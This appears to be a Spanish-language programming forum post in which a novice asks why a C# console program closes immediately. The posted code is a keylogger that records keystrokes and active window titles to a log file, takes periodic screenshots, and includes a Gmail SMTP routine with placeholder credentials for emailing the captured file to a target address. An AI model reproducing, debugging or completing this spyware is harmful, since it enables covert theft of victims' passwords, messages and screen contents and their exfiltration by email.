Básicamente, esa "j" no pinta nada ahí

Gracias bro, ya elimine el string del num j.
Pero ahora me surgio otro problema, a la hora de depurar me abre la ventana de consola por un instante, luego se cierra y todo se detiene automaticamente. Cabe mencionar que no configure los Timer ya que quiero que todo se ejecute desde consola. Que estare haciendo mal? Disculpa que pregunte esque soy novato en esto.

using System.Runtime.InteropServices;
using System.Drawing.Imaging;
using System.Net.Mail;
using System;
using System.Net;
using System.Windows.Forms;
using System.Text;
using System.Drawing;
class Program
{
private static void Main(string[] args)
{}
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(Keys teclas);
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(Int32 teclas);
[DllImport("user32.dll")]
private static extern short GetKeyState(Keys teclas);
[DllImport("user32.dll")]
private static extern short GetKeyState(Int32 teclas);
[DllImport("user32.dll")]
static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr ventana, StringBuilder
cadena, int cantidad);
string nombre1 = "";
string nombre2 = "";
public void savefile(string file, string texto)
{
try
{
System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
save.Write(texto);
save.Close();
}
catch
{
//
}
}
private void timer1_Tick(object sender, EventArgs e)
{
for (int num = 0; num <= 255; num++)
{
int numcontrol = GetAsyncKeyState(num);
if (numcontrol == -32767)
{
if (num >= 65 && num <= 122)
if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) &&
Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
{
string letra = Convert.ToChar(num + 32).ToString();
savefile("logs.html", letra);
}
else if
(Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)))
{
string letra = Convert.ToChar(num).ToString();
savefile("logs.html", letra);
}
else if (Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
{
string letra = Convert.ToChar(num).ToString();
savefile("logs.html", letra);
}
}
}
}
private void timer2_Tick(object sender, EventArgs e)
{
const int limite = 256;
StringBuilder buffer = new StringBuilder(limite);
IntPtr manager = GetForegroundWindow();
if (GetWindowText(manager, buffer, limite) > 0)
{
nombre1 = buffer.ToString();
if (nombre1 != nombre2)
{
nombre2 = nombre1;
savefile("logs.html", "<br>[" + nombre2 + "]<br>");
}
}
}
public void screenshot(string nombre)
{
try
{
int wid = Screen.GetBounds(new Point(0, 0)).Width;
int he = Screen.GetBounds(new Point(0, 0)).Height;
Bitmap now = new Bitmap(wid, he);
Graphics grafico = Graphics.FromImage((Image)now);
grafico.CopyFromScreen(0, 0, 0, 0, new Size(wid, he));
now.Save(nombre, ImageFormat.Jpeg);
}
catch
{
//
}
}
private void timer3_Tick(object sender, EventArgs e)
{
string fecha = DateTime.Now.ToString("h:mm:ss tt");
string nombrefinal = fecha.Trim() + ".jpg";
string final = nombrefinal.Replace("_", "_");
screenshot(final);
}
public void Gmail_Send(string usuario, string password, string
target, string asunto, string mensaje_texto, string rutaarchivo)
{
MailAddress de = new MailAddress(usuario);
MailAddress a = new MailAddress(target);
MailMessage mensaje = new MailMessage(de, a);
mensaje.Subject = asunto;
mensaje.Body = mensaje_texto;
Attachment archivo = new Attachment(rutaarchivo);
mensaje.Attachments.Add(archivo);
SmtpClient gmailsender = new SmtpClient("smtp.gmail.com", 587);
gmailsender.UseDefaultCredentials = true;
gmailsender.EnableSsl = true;
gmailsender.Credentials = new NetworkCredential("
TuMail@gmail.com", "Contraseña");
gmailsender.Send(mensaje);
}
}